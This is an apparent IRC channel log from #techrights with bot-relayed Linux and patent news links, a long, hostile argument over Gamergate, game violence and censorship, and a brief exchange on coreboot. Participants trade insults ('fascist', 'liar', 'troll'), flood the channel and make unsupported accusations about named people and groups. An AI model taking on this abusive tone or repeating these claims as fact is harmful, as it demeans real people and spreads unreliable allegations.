| schestowitz | https://joindiaspora.com/p/6679183 https://joindiaspora.com/p/6679291 | Oct 08 13:45 |
| -TechrightsBot-tr/#techrights-joindiaspora.com | Hopefully today's news about #linux will be dominated by news about... | Oct 08 13:45 | |
| -TechrightsBot-tr/#techrights-joindiaspora.com | Artificial intelligence is the next major wave of computing, Androi... | Oct 08 13:45 | |
| schestowitz | https://joindiaspora.com/p/6680222 | Oct 08 13:45 |
| -TechrightsBot-tr/#techrights-joindiaspora.com | "attractive are the printer’s precision, light weight and simple de... | Oct 08 13:46 | |
| schestowitz | https://joindiaspora.com/posts/6679183 https://joindiaspora.com/posts/6679291 | Oct 08 13:46 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Hopefully today's news about #linux will be dominated by news about Linux and not drama queens like Matthew Farrett https://twitter.com/mjg59/status/517719901356584960 | Oct 08 13:46 | |
| -TechrightsBot-tr/#techrights-@mjg59: @Max_x_Milia @IntelGaming @intel FART FART FART FART FART | Oct 08 13:46 | |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Artificial intelligence is the next major wave of computing, Android creator says http://www.cnet.com/news/artificial-intelligence-is-the-next-major-wave-of-computing-android-creator-says/ sometimes just "intelligence" (spying) | Oct 08 13:46 | |
| -TechrightsBot-tr/#techrights--> www.cnet.com | Artificial intelligence is the next major wave of computing, Android creator says - CNET [ http://ur1.ca/nyivh ] | Oct 08 13:46 | |
| schestowitz | https://joindiaspora.com/posts/6680222 | Oct 08 13:46 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: "attractive are the printer’s precision, light weight and simple design, making it ideal for first-time 3D printer buyers" http://3dprint.com/99389/eleven-3d-printer-kickstarter/ | Oct 08 13:46 | |
| -TechrightsBot-tr/#techrights--> 3dprint.com | The Eleven 3D Printer by ISG3D is Now Available on Kickstarter - 3DPrint.com [ http://ur1.ca/nyivi ] | Oct 08 13:46 | |
| schestowitz | https://twitter.com/Twpalovi/status/652104833684668416 | Oct 08 13:56 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz Is any of this true? I thought @EPOorg looked like a good place to work. | Oct 08 13:56 | |
| schestowitz | Payment is OK, but it's part of a package deal | Oct 08 13:56 |
| schestowitz | If you're willing to be treated like dirt and generally work in a way that harms European SMEs, citizens, and science. | Oct 08 13:58 |
| schestowitz | https://twitter.com/Twpalovi/status/652106930568175616 | Oct 08 14:08 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz @EPOorg Cool, where do I sign up? | Oct 08 14:08 | |
| schestowitz | https://twitter.com/Twpalovi/status/652107707416186880 | Oct 08 14:08 |
| -TechrightsBot-tr/#techrights-@Twpalovi: Now, @schestowitz I don't believe @EPOorg is like that. @LNevilleRolf would not allow it. | Oct 08 14:08 | |
| schestowitz | She is the biggest part of the problem in the UK. See what she did for UPC and still does... | Oct 08 14:09 |
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| schestowitz | https://twitter.com/Twpalovi/status/652110763100868609 | Oct 08 14:26 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz what did@LNevilleRolf do? | Oct 08 14:26 | |
| schestowitz | See Techrights for details, search the name | Oct 08 14:26 |
| TweetTuxMachines | @RamiSilawi @tuxmachines your tweet takes center stage on | Oct 08 14:42 |
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| -TechrightsBot-tr/#techrights-www.rebelmouse.com | RamiSilawi | Oct 08 14:42 | |
| TweetTuxMachines | @tuxmachines Hands-On: KaOS Linux 2015.10 | Oct 08 14:42 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Hands-On: KaOS Linux 2015.10 | Tux Machines | Oct 08 14:42 | |
| TweetTuxMachines | @tuxmachines A First Look at IBM's New Linux Servers | Oct 08 14:42 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | A First Look at IBM's New Linux Servers | Tux Machines | Oct 08 14:42 | |
| TweetTuxMachines | @tuxmachines IBM aims Linux OpenPOWER systems at Intel | Oct 08 14:43 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | IBM aims Linux OpenPOWER systems at Intel | Tux Machines | Oct 08 14:43 | |
| TweetTuxMachines | @tuxmachines NetBSD 7.0 Released With New ARM Board Support, | Oct 08 14:43 |
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| TweetTuxMachines | @tuxmachines Protecode: Open Source Code Will Power 95 Pct. | Oct 08 14:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Protecode: Open Source Code Will Power 95 Pct. of Companies by 2017 | Tux Machines | Oct 08 14:44 | |
| TweetTuxMachines | @tuxmachines Unity 8: All You Need to Know | Oct 08 14:47 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Unity 8: All You Need to Know - Softpedia | Oct 08 14:47 | |
| TweetTuxMachines | @tuxmachines Hands-On: KaOS Linux 2015.10 | Oct 08 14:47 |
| TweetTuxMachines | http://t.co/aeNxK2Np1n (www.zdnet.com) 'calls | Oct 08 14:47 |
| TweetTuxMachines | itself a "lean KDE Distribution"' | Oct 08 14:47 |
| -TechrightsBot-tr/#techrights-www.zdnet.com | Hands-On: KaOS Linux 2015.10 | ZDNet | Oct 08 14:47 | |
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| TweetTuxMachines | @tuxmachines A First Look at IBM's New Linux Servers | Oct 08 14:47 |
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| -TechrightsBot-tr/#techrights-www.linuxjournal.com | A First Look at IBM's New Linux Servers | Linux Journal | Oct 08 14:47 | |
| TweetTuxMachines | @tuxmachines IBM aims Linux OpenPOWER systems at Intel | Oct 08 14:57 |
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| -TechrightsBot-tr/#techrights-www.zdnet.com | IBM aims Linux OpenPOWER systems at Intel | ZDNet | Oct 08 14:57 | |
| TweetTuxMachines | @tuxmachines Manjaro 15.09 Now Has KDE Plasma 5.4.2 | Oct 08 14:57 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Manjaro 15.09 Now Has KDE Plasma 5.4.2 - Softpedia | Oct 08 14:57 | |
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| schestowitz | https://twitter.com/T_Miller_Harper/status/652121309095268352 | Oct 08 15:05 |
| -TechrightsBot-tr/#techrights-@T_Miller_Harper: The Saudi's get most upset at the merest hint of outside interference in their interior policies... https://t.co/Nobr2436Ru | Oct 08 15:05 | |
| -TechrightsBot-tr/#techrights-@schestowitz: More Saudi Barbaria http://t.co/nk4ZpC0KRX when will the RAF bomb for regime change there like it does in #syria ? | Oct 08 15:05 | |
| schestowitz | They also bribe the media, as Wikileaks showed | Oct 08 15:05 |
| schestowitz | https://joindiaspora.com/posts/6680551 | Oct 08 15:06 |
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| *TweetTuxMachines @thirdtruck favourited '“in spite of Linux being a stretch goal...' | Oct 08 15:44 | |
| TweetTuxMachines | @tuxmachines “in spite of Linux being a stretch goal that | Oct 08 15:44 |
| TweetTuxMachines | retweeted by wasn’t reached, the game got a day-one release | Oct 08 15:44 |
| TweetTuxMachines | @thirdtruck for Linux yesterday.” https://t.co/uBVGOFlIzz | Oct 08 15:44 |
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| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Cyberpunk Adventure 'Read Only Memories' Released DRM Free And On Steam, Has Demo | GamingOnLinux | Oct 08 15:44 | |
| msb_ | A brief explanation of "Social Justice Warriors": A few years ago, some women noticed that the main roles of women in computer games were as rape victims, torture victims, beating victims, and murder victims. The women realized that these games were teaching -- programming -- young men to enjoy these attacks on women, and that some of the boys and men were being inspired to carry them out in real life. So the women objected publicly | Oct 08 15:46 |
| msb_ | to this situation. Some of the young men then published the addresses and phone numbers of the women and began harassing them. The men called this "doxxing" (documenting). The some of the men began making fraudulent calls to police, saying that violent crimes were occurring at the women's homes. The men called this "swatting". The whole affair is called Gamergate. | Oct 08 15:46 |
| msb_ | The men say that freedom of speech entitles game creators to make games that victimize women, and entitles game players to play and enjoy them. | Oct 08 15:48 |
| MinceR | it has gotten totally out of hand since then | Oct 08 15:49 |
| msb_ | The problem is, that humans are programmable by speech and video, and they can be programmed into psychopath behaviors like rape, torture, and murder. Some speech has consequences -- yelling "fire" in a crowded theater -- so freedom of speech requires some limitations. | Oct 08 15:50 |
| MinceR | ah, there's your agenda | Oct 08 15:50 |
| MinceR | censorship in the name of political correctness | Oct 08 15:51 |
| MinceR | because you don't realize that even if you bully people into using different words to speak, you won't change their minds | Oct 08 15:51 |
| MinceR | if you want people to be more progressive, you need civilizing influences, not language police | Oct 08 15:52 |
| MinceR | it's a gradual change that bullying can't do | Oct 08 15:52 |
| msb_ | The abusive language on the LKML is unnecessary, because code can be criticized (and rejected) without it. The abusive language is harmful, because when people read it they subconsciously imagine that it is being directed toward them, and that discourages them from participating in kernel programming. | Oct 08 15:52 |
| MinceR | then go contribute to garrettix | Oct 08 15:52 |
| MinceR | and systemd | Oct 08 15:53 |
| MinceR | they value politeness over working designs and implementations | Oct 08 15:53 |
| msb_ | There MinceR has lied about me SEVEN TIMES1 | Oct 08 15:53 |
| MinceR | or use windows, since what is said in private wasn't really said | Oct 08 15:53 |
| msb_ | There MinceR has lied about me SEVEN TIMES! | Oct 08 15:53 |
| msb_ | MinceR: has lied about me EIGHT TIMES! | Oct 08 15:54 |
| MinceR | go complain to the UN | Oct 08 15:54 |
| MinceR | they're looking for every tidbit they can use to support global oppression | Oct 08 15:54 |
| msb_ | MinceR has lied about me NINE TIMES! | Oct 08 15:55 |
| MinceR | that's some harsh cognitive dissonance right there | Oct 08 15:55 |
| msb_ | The term "political correctness" is used by different people to mean different things. I never use it. What I say is that speech and other media that clearly cause harm should not be emitted, with the choice preferably made by the speakers, who should realize exactly how that speech is harmful (by programming -- training -- people). | Oct 08 15:58 |
| MinceR | good thing censorship isn't harmful | Oct 08 15:58 |
| MinceR | oh wait | Oct 08 15:58 |
| MinceR | i wonder, is there any fascist agenda msb_ won't support? | Oct 08 15:58 |
| msb_ | MinceR has lied about me TEN TIMES! | Oct 08 15:59 |
| MinceR | ah, so there isn't | Oct 08 15:59 |
| MinceR | good to know | Oct 08 15:59 |
| msb_ | MinceR has lied about me TWELVE TIMES! | Oct 08 15:59 |
| TweetTuxMachines | @tuxmachines Links 8/10/2015: Manjaro Linux Releases, | Oct 08 16:00 |
| TweetTuxMachines | Linksys WRT1900ACS, FOSS at NHS | Oct 08 16:00 |
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| -TechrightsBot-tr/#techrights-techrights.org | Links 8/10/2015: Manjaro Linux Releases, Linksys WRT1900ACS, FOSS at NHS | Techrights | Oct 08 16:00 | |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Embedded/Devices | Tux Machines | Oct 08 16:00 | |
| TweetTuxMachines | @tuxmachines Leftovers: Gaming http://t.co/wpzTChWihk | Oct 08 16:00 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Gaming | Tux Machines | Oct 08 16:00 | |
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| msb_ | Shouting "fire" in a crowded theater, making fraudulent calls to police to try to get them to harass and kill people, teaching children to hate and attack gay people, Jews, socialists, etc -- all of these actions are speech. All of them are very harmful. Does the ideal of Freedom of Speech protect them? Freedom of speech is designed to protect artistic expression, political exposition and advocacy, and the exposure of evil (harm) | Oct 08 16:06 |
| msb_ | that's being kept secret. It is not designed to protect programming people to be psychopaths. | Oct 08 16:06 |
| MinceR | apparently now magical thinking overrides freedom of speech | Oct 08 16:08 |
| MinceR | ahead into a Brave New World! | Oct 08 16:08 |
| MinceR | i'm sure the High Priest will tell us what words and topics to avoid so that we don't "program people to be psychopaths" | Oct 08 16:08 |
| msb_ | It's a characteristic of the universe we live in that some good things can cause harm when taken to extremes. The good things should not be banned, but we should refrain from taking them to those extremes. | Oct 08 16:09 |
| msb_ | MinceR has lied about me FIFTEEN TIMES! | Oct 08 16:09 |
| msb_ | Noti | Oct 08 16:10 |
| msb_ | Nothing that I've said involves "magical thinking", only clear and accurate thinking. | Oct 08 16:10 |
| MinceR | yeah, censoring people with the excuse that what they've said somehow "programs people to be psychopaths" is so clear | Oct 08 16:11 |
| MinceR | maybe msb_ could pray to putin to receive by revelation a list of words we're allowed to use | Oct 08 16:12 |
| MinceR | we could call it Newspeak | Oct 08 16:12 |
| MinceR | and then we could finally avoid doubleplusungood crimethink | Oct 08 16:12 |
| msb_ | MinceR has lied about me NINETEEN TIMES! | Oct 08 16:12 |
| msb_ | Nothing that I've said involves Fascism (which MinceR still does not know the meaning of). | Oct 08 16:13 |
| MinceR | msb_: here's a heads-up: 1984 is _not_ an instruction book. | Oct 08 16:13 |
| msb_ | MinceR has lied about me TWENTY TIMES! | Oct 08 16:14 |
| msb_ | When young boys spend hundreds of hours playing video games in which they rape, torture, and murder women, they get trained to accept these activities, and some get trained to enjoy them. And some of those go out and _do_ them. | Oct 08 16:16 |
| MinceR | so you want to ban video games too | Oct 08 16:16 |
| XRevan86 | msb_: Statistics say that's not true. | Oct 08 16:16 |
| msb_ | No, I want to ban those types of depictions of women from video games. | Oct 08 16:17 |
| XRevan86 | people who play voilent games don't have a tendency you express violence in real world | Oct 08 16:18 |
| msb_ | MinceR has lied about me TWENTY-ONE TIMES! | Oct 08 16:18 |
| MinceR | that's funny, if women are not depicted in such video games, the sjw-s attack the games for that reason | Oct 08 16:18 |
| MinceR | so there's no way to please sjw-s, except by banning video games entirely | Oct 08 16:18 |
| MinceR | msb_: do you want to ban bad language too? we could install Verbal Morality Statute Machines everywhere! | Oct 08 16:19 |
| msb_ | SJWs want women to be depicted in video games, but as participants, heroes, not as victims. | Oct 08 16:19 |
| MinceR | ah, so men should be the victims and women should be the heroes | Oct 08 16:19 |
| msb_ | MinceR has lied about me TWENTY-TWO TIMES! | Oct 08 16:19 |
| MinceR | that's not sexist at all, is it? | Oct 08 16:19 |
| MinceR | and of course you'd enforce this by banning games that don't obey your ideology | Oct 08 16:20 |
| msb_ | No, the victims, if there have to be any, should be equally divided among men and women. | Oct 08 16:20 |
| MinceR | but not the heroes. | Oct 08 16:20 |
| msb_ | MinceR has lied about me TWENTY-THREE TIMES! | Oct 08 16:21 |
| msb_ | The heroes should be equally divided too. | Oct 08 16:21 |
| MinceR | do you really believe that subordinating men to women will solve the problem of inequality between sexes? | Oct 08 16:21 |
| msb_ | MinceR has lied about me TWENTY-FOUR TIMES! | Oct 08 16:22 |
| MinceR | apparently this is what Totally Not Fascist msb_ believes... | Oct 08 16:22 |
| msb_ | I believe that men and women should have equal power and status, neither subordinate to the other. | Oct 08 16:22 |
| msb_ | MinceR has lied about me TWENTY-FIVE TIMES! | Oct 08 16:22 |
| MinceR | your other declarations contradict that. | Oct 08 16:23 |
| MinceR | but i guess you've grown accustomed to being logically inconsistent already. | Oct 08 16:23 |
| msb_ | MinceR has lied about me TWENTY-SEVEN TIMES! | Oct 08 16:23 |
| msb_ | XRevan86: Regardless of statistics, the fact is that some of the men involved in Gamergate made threatening phone calls to the women, and tried to get police to kill them. Those are violent acts. | Oct 08 16:24 |
| MinceR | which proves that we need global, pervasive censorship, how? | Oct 08 16:25 |
| msb_ | It doesn't. | Oct 08 16:25 |
| msb_ | MinceR has lied about me TWENTY-EIGHT TIMES! | Oct 08 16:25 |
| XRevan86 | msb_: That's bad, yes. | Oct 08 16:26 |
| MinceR | but it does if you word "global, pervasive censorship" differently? | Oct 08 16:26 |
| XRevan86 | So, what's the debate about then? | Oct 08 16:26 |
| MinceR | XRevan86: msb_ wants censorship everywhere for the sake of political correctness | Oct 08 16:26 |
| XRevan86 | msb_: Do you want censorship everywhere for the sake of political correctness? | Oct 08 16:26 |
| MinceR | XRevan86: he also wants video games to be banned and all males to be subordinated to all females | Oct 08 16:27 |
| XRevan86 | and that | Oct 08 16:27 |
| MinceR | XRevan86: he also wants putler to rule the entire planet. | Oct 08 16:27 |
| MinceR | XRevan86: but he's totally not fascist! | Oct 08 16:27 |
| XRevan86 | MinceR: I'm sure it's time to discuss Putin. | Oct 08 16:27 |
| msb_ | https://en.wikipedia.org/wiki/Gamergate_controversy | Oct 08 16:28 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Gamergate controversy - Wikipedia, the free encyclopedia [ http://ur1.ca/nykir ] | Oct 08 16:28 | |
| MinceR | XRevan86: judging by msb_'s actions, it always is. | Oct 08 16:28 |
| msb_ | MinceR has lied about me THIRTY-TWO TIMES! | Oct 08 16:28 |
| XRevan86 | Why don't we make this simple. | Oct 08 16:29 |
| MinceR | yes, that controversy totally justifies turning the whole planet into a fascist dystopia | Oct 08 16:29 |
| XRevan86 | msb_: Do you think games censorship should be in place? | Oct 08 16:29 |
| MinceR | it will totally solve that controversy | Oct 08 16:29 |
| msb_ | MinceR has lied about me THIRTY-THREE TIMES! | Oct 08 16:29 |
| XRevan86 | MinceR: Why don't we not make this not simple? | Oct 08 16:29 |
| MinceR | also, using words that insult people is Just Wrong, but bullying is A-OK | Oct 08 16:30 |
| msb_ | I think that game creators should voluntarily stop preferentially portraying women as victims. I think that game review sites should not express approval of games that victimize women. I think that game players should stop buying and playing such games. | Oct 08 16:32 |
| MinceR | do you think "being bullied to" is "voluntary"? | Oct 08 16:32 |
| MinceR | because i don't. | Oct 08 16:32 |
| MinceR | or perhaps "voluntary" is code for "death threats from the state"? | Oct 08 16:32 |
| msb_ | MinceR has lied about me THIRTY-FIVE TIMES! | Oct 08 16:33 |
| MinceR | also, it's cute how msb_ still thinks "game review sites" are relevant in 2015 | Oct 08 16:33 |
| XRevan86 | msb_: That's reasonable. | Oct 08 16:33 |
| MinceR | after ign assimilated gamespy and turned it into the same bland, boring shit as ign | Oct 08 16:33 |
| MinceR | well after the death of on-paper gaming journalism | Oct 08 16:33 |
| XRevan86 | So, that's all there is, and all fuss… ugh. | Oct 08 16:33 |
| MinceR | XRevan86: this is what msb_ supports: https://www.washingtonpost.com/news/the-intersect/wp/2015/09/24/the-united-nations-has-a-radical-dangerous-vision-for-the-future-of-the-web/ | Oct 08 16:34 |
| -TechrightsBot-tr/#techrights-www.washingtonpost.com | The United Nations has a radical, dangerous vision for the future of the Web - The Washington Post [ http://ur1.ca/nuyat ] | Oct 08 16:34 | |
| XRevan86 | MinceR: Somehow I doubt that. | Oct 08 16:34 |
| MinceR | 165029 < msb_> The problem is, that humans are programmable by speech and video, and they can be programmed into psychopath behaviors like rape, torture, and murder. | Oct 08 16:35 |
| MinceR | Some speech has consequences -- yelling "fire" in a crowded theater -- so freedom of speech requires some limitations. | Oct 08 16:35 |
| MinceR | this is where he got from the conflict between sjw-s and gamergate | Oct 08 16:35 |
| XRevan86 | MinceR: ah | Oct 08 16:35 |
| MinceR | because apparently an online altercation justifies global censorship | Oct 08 16:35 |
| MinceR | surely people won't hate and harm each other if we force them to smile at all times and only ever use warm and fuzzy words | Oct 08 16:36 |
| MinceR | oh wait | Oct 08 16:36 |
| msb_ | MinceR has lied about me THIRTY-EIGHT TIMES! | Oct 08 16:36 |
| XRevan86 | msb_: Citation is incorrect? | Oct 08 16:38 |
| MinceR | XRevan86: he just randomly says that after i say something, often not even referring to him | Oct 08 16:38 |
| msb_ | MinceR has lied about me THIRTY-NINE TIMES! | Oct 08 16:40 |
| msb_ | XRevan86: Which citation? | Oct 08 16:40 |
| XRevan86 | (18:34:58) MinceR: 165029 < msb_> The problem is, that humans are programmable by speech and video, and they can be programmed into psychopath behaviors like rape, torture, and murder. Some speech has consequences -- yelling "fire" in a crowded theater -- so freedom of speech requires some limitations. | Oct 08 16:43 |
| XRevan86 | msb_: That one. | Oct 08 16:43 |
| msb_ | That's accurate. But I subsequently amplified on it with this: "Shouting "fire" in a crowded theater, making fraudulent calls to police to try to get them to harass and kill people, teaching children to hate and attack gay people, Jews, socialists, etc -- all of these actions are speech. All of them are very harmful. Does the ideal of Freedom of Speech protect them? | Oct 08 16:45 |
| msb_ | That's accurate. But I subsequently amplified on it with this: "Shouting "fire" in a crowded theater, making fraudulent calls to police to try to get them to harass and kill people, teaching children to hate and attack gay people, Jews, socialists, etc -- all of these actions are speech. All of them are very harmful. Does the ideal of Freedom of Speech protect them? | Oct 08 16:45 |
| MinceR | yes, flood some more | Oct 08 16:45 |
| msb_ | That's accurate. But I subsequently amplified on it with this: "Shouting "fire" in a crowded theater, making fraudulent calls to police to try to get them to harass and kill people, teaching children to hate and attack gay people, Jews, socialists, etc -- all of these actions are speech. All of them are very harmful. Does the ideal of Freedom of Speech protect them?" | Oct 08 16:45 |
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| *MinceR has kicked msb_ from #techrights (stop flooding) | Oct 08 16:46 | |
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| XRevan86 | MinceR: So, you have the power but you don't want to show it :) | Oct 08 16:46 |
| MinceR | i don't really have the power | Oct 08 16:47 |
| MinceR | Roy will soon bring our putin-fanatic bully troll back | Oct 08 16:47 |
| MinceR | for some more flooding | Oct 08 16:47 |
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| MinceR | but until then, we might want to discuss freedom that's relevant to our tech | Oct 08 16:47 |
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| MinceR | though i guess msb wanting global internet censorship is relevant | Oct 08 16:48 |
| schestowitz | MinceR: you're right | Oct 08 16:48 |
| schestowitz | msb promotes political agenda here, but... | Oct 08 16:48 |
| schestowitz | don't ban him | Oct 08 16:48 |
| schestowitz | unban him please | Oct 08 16:48 |
| schestowitz | I'm writing an article | Oct 08 16:48 |
| schestowitz | (and very tight on time, I start working soon) | Oct 08 16:49 |
| MinceR | told you so | Oct 08 16:49 |
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| XRevan86 | (18:47:43) msb_: I hit the wrong key twice. | Oct 08 16:50 |
| MinceR | i guess 3 minutes on topic every couple of months should be enough | Oct 08 16:50 |
| MinceR | i'm sure he did | Oct 08 16:50 |
| MinceR | just like putin, he always has excuses | Oct 08 16:50 |
| schestowitz | cheers mate | Oct 08 16:50 |
| schestowitz | [16:50] <XRevan86> (18:47:43) msb_: I hit the wrong key twice. | Oct 08 16:51 |
| schestowitz | So did the Buk operator :-p | Oct 08 16:51 |
| MinceR | at least some of the time msb claims no Buks were involved | Oct 08 16:51 |
| MinceR | just like the russian government | Oct 08 16:51 |
| XRevan86 | schestowitz: Also twice? %) | Oct 08 16:51 |
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| msb_ | . | Oct 08 16:51 |
| msb_ | I hit the wrong key twice. I was not "flooding". | Oct 08 16:52 |
| XRevan86 | msb_: Problem is that it is impossible to make a perfect censorship that only filters bad content. | Oct 08 16:52 |
| MinceR | it's possible to vehemently claim that imperfect censorship is perfect, though | Oct 08 16:53 |
| MinceR | and for many people that will be enough | Oct 08 16:53 |
| MinceR | they don't care for freedom of speech, they just pay lip service to it when it suits their ends | Oct 08 16:53 |
| msb_ | I favor education to show people that certain speech is harmful, and should not be engaged in. | Oct 08 16:54 |
| MinceR | that's not what the people you're shilling for are doing. | Oct 08 16:54 |
| msb_ | MinceR has lied about me FORTY TIMES! | Oct 08 16:54 |
| MinceR | bullying is not "showing people"; international laws mandating internet censorship is not "showing people"; throwing people into russian jail or gulag is not "showing people". | Oct 08 16:54 |
| msb_ | MinceR has lied about me FORTY-ONE TIMES! | Oct 08 16:55 |
| msb_ | I have not advocated any of those things. | Oct 08 16:55 |
| MinceR | and now msb_ lies about what he said in the past | Oct 08 16:55 |
| MinceR | as usual | Oct 08 16:55 |
| msb_ | MinceR has lied about me FORTY-THREE TIMES! | Oct 08 16:56 |
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| msb_ | MinceR: quote me to prove your claim. | Oct 08 16:56 |
| MinceR | and now msb_ wants me to amplify his pro-fascism shitflood | Oct 08 16:57 |
| MinceR | not going to happen. | Oct 08 16:57 |
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| msb_ | MinceR has lied about me FORTY-FOUR TIMES! His] usual lying excuse. | Oct 08 16:57 |
| msb_ | MinceR can't prove what he claims, so he uses that lame excuse. Another one he uses is that he "already did" prove something, when he actually didn't. | Oct 08 17:00 |
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| schestowitz | [15:54] <msb_> MinceR: has lied about me EIGHT TIMES! | Oct 08 17:47 |
| schestowitz | That sounds like snit, the anti-Linux troll from usenet | Oct 08 17:47 |
| msb_ | MinceR lied about me a total of 44 times in that discussion! | Oct 08 17:48 |
| schestowitz | boo hoo | Oct 08 17:49 |
| schestowitz | that sounds like kindergarten talk and why was there a discussion about ukraine in here anyway? | Oct 08 17:49 |
| msb_ | I simply noted it. It didn't bother me. | Oct 08 17:49 |
| msb_ | This was not about Ukraine, it was about SJW/Gamergate. | Oct 08 17:50 |
| MinceR | maybe msb_ is snit | Oct 08 17:51 |
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| msb_ | I wrote a very short summary about SJW (not involving MinceR at all), and MinceR popped up and said, "ah, there's your agenda -- censorship in the name of political correctness", | Oct 08 17:55 |
| MinceR | that's what you and the other sjw-s are campaigning for now | Oct 08 17:56 |
| MinceR | and you've mentioned plenty of times how freedom of speech must be limited | Oct 08 17:56 |
| schestowitz | [17:50] <msb_> This was not about Ukraine, it was about SJW/Gamergate. | Oct 08 17:58 |
| schestowitz | no connection to ukraine at all | Oct 08 17:58 |
| schestowitz | you keep using many excuses to divert to 9/11, ukraine, nazis etc. | Oct 08 17:58 |
| schestowitz | people don't log in to #techrights to hear about that | Oct 08 17:59 |
| MinceR | soon they will | Oct 08 17:59 |
| schestowitz | so be kind to other people and keep these topics in other channels | Oct 08 17:59 |
| MinceR | since msb_'s being crapflooding this channel with putin propaganda and sjw propaganda for quite a while | Oct 08 17:59 |
| msb_ | I never use the term "political correctness" because it has no definite meaning, And I've said explicitly that people should voluntarily limit harmful speech, like videogames that train boys to torture and murder women. | Oct 08 17:59 |
| schestowitz | or else we won't gain any wider acceptance and a lot of updates from IRC will be rubbish | Oct 08 17:59 |
| MinceR | apparently to sjws only the terms they want to ban have "definite meaning" | Oct 08 17:59 |
| MinceR | schestowitz: well, that's why we used to ban trolls | Oct 08 18:00 |
| schestowitz | msb_: anyway, no more politics here | Oct 08 18:00 |
| schestowitz | unless it's very relevant to software | Oct 08 18:00 |
| schestowitz | like MS bribing some government | Oct 08 18:00 |
| schestowitz | some women who use to frequent this channel left | Oct 08 18:00 |
| MinceR | the sjw/un campaign for global internet censorship might be relevant to software | Oct 08 18:00 |
| MinceR | it's just that msb_ is on the wrong side of it | Oct 08 18:01 |
| schestowitz | because diablo3d was a misogynist | Oct 08 18:01 |
| msb_ | "Ukraine" has not been mentioned here for four days. | Oct 08 18:01 |
| MinceR | you keep mentioning it | Oct 08 18:01 |
| schestowitz | some people who don't share your view that US="nazis" might leave too | Oct 08 18:01 |
| schestowitz | bbl | Oct 08 18:01 |
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| msb_ | MinceR: Correct me if I'm wrong, but you seem to feel that no one should discourage computer game creators from making games that show the rape, torture and murder of women. You seem to be calling such discouragement "bullying". Isn't that misogynistic? | Oct 08 18:06 |
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| msb_ | Doesn't freedom of speech give women the right to repeatedly insist that they not be portrayed as victims of rape, torture, and murder, especially in computer games that allow players to actually do those things? | Oct 08 18:09 |
| msb_ | And thereby get trained to do those things in real life? | Oct 08 18:09 |
| msb_ | The classic remedy for speech that advocates evil is more speech that exposes the evil speech and explains why it is evil. | Oct 08 18:13 |
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| MinceR | msb_: that's not the sort of games you were talking about a while ago | Oct 08 18:38 |
| MinceR | msb_: why do you keep moving the goalposts? | Oct 08 18:38 |
| MinceR | 191301 < msb_> The classic remedy for speech that advocates evil is more speech that exposes the evil speech and explains why it is evil. | Oct 08 18:38 |
| MinceR | so, why do you promote censorship instead? | Oct 08 18:38 |
| schestowitz | One cannot have everything, my country’s army is not the best in the world. | Oct 08 18:59 |
| schestowitz | Let me drown that shame in tasty water. | Oct 08 18:59 |
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| msb_ | MinceR: How have I "moved the goalposts"? And where have I advocated censorship? | Oct 08 19:26 |
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| TweetTuxMachines | @tuxmachines Clonezilla Live 2.4.2-59 Arrives with Updated | Oct 08 22:37 |
| TweetTuxMachines | Debian Base http://t.co/t8ts4VVJRQ | Oct 08 22:37 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Clonezilla Live 2.4.2-59 Arrives with Updated Debian Base | Tux Machines | Oct 08 22:37 | |
| TweetTuxMachines | @tuxmachines GnuCash 2.6.9 Free Accounting Software Patches | Oct 08 22:57 |
| TweetTuxMachines | Serious Bug on Windows OSes | Oct 08 22:57 |
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| cubexyz | yeah Garrett is a bit of a goof | Oct 08 23:23 |
| cubexyz | he actually seems anti-coreboot | Oct 08 23:23 |
| MinceR | coreboot is not PC enough for him? | Oct 08 23:25 |
| cubexyz | he's saying that coreboot "doesn't solve the problem" | Oct 08 23:25 |
| MinceR | which problem? | Oct 08 23:25 |
| MinceR | that we can still boot OSes that m$ doesn't want us to boot? | Oct 08 23:26 |
| MinceR | or that the system firmware isn't bigger than the kernel? | Oct 08 23:26 |
| cubexyz | http://www.maxhost.org/other/garrett-on-coreboot.txt | Oct 08 23:28 |
| cubexyz | basically it boils down to if one can turn off secure boot, you're OK | Oct 08 23:29 |
| MinceR | there are other problems it solves | Oct 08 23:30 |
| MinceR | but i guess those don't matter to garrett | Oct 08 23:30 |
| cubexyz | I don't buy the boogeyman argument | Oct 08 23:30 |
| MinceR | like not using a huge bloated bug-ridden hairball to boot your system | Oct 08 23:30 |
| cubexyz | it's very unlikely that a hacker could overwrite your BIOS | Oct 08 23:31 |
| cubexyz | possible, but very unlikely | Oct 08 23:31 |
| MinceR | maybe they'll proliferate such malware | Oct 08 23:31 |
| MinceR | to justify locking people into dumb appliances | Oct 08 23:31 |
| cubexyz | I think that would be my real fear: Microsoft lock-in | Oct 08 23:32 |
| cubexyz | not boogeyman hackers | Oct 08 23:32 |
| MinceR | intel doesn't want you to even be aware of that possibility | Oct 08 23:34 |
| MinceR | maybe redcrap believes it can't happen | Oct 08 23:34 |
| MinceR | or they got promises to be paid off if they're locked out of the market | Oct 08 23:34 |
| cubexyz | from the info I've gathered it seems Gigabyte and Google are the two companies which are the most pro-coreboot | Oct 08 23:38 |
| cubexyz | some Gigabyte boards have dual SPI flash bios circuits | Oct 08 23:39 |
| cubexyz | you can toggle which BIOS you boot from | Oct 08 23:39 |
| cubexyz | perfect for experimenting purposes | Oct 08 23:40 |
| msb_ | Here's a possible free-speech/more-speech solution for the SJW's concerns: A computer game that enables girls and women to grab a knife and eviscerate their rapist-attacker, watching the blood pour out of him and hearing him scream and then die, over and over again. RT just mentioned a computer game called Killbox, which enables the player to pilot a drone and murder people, and then experience the same attack as a person on the | Oct 08 23:48 |
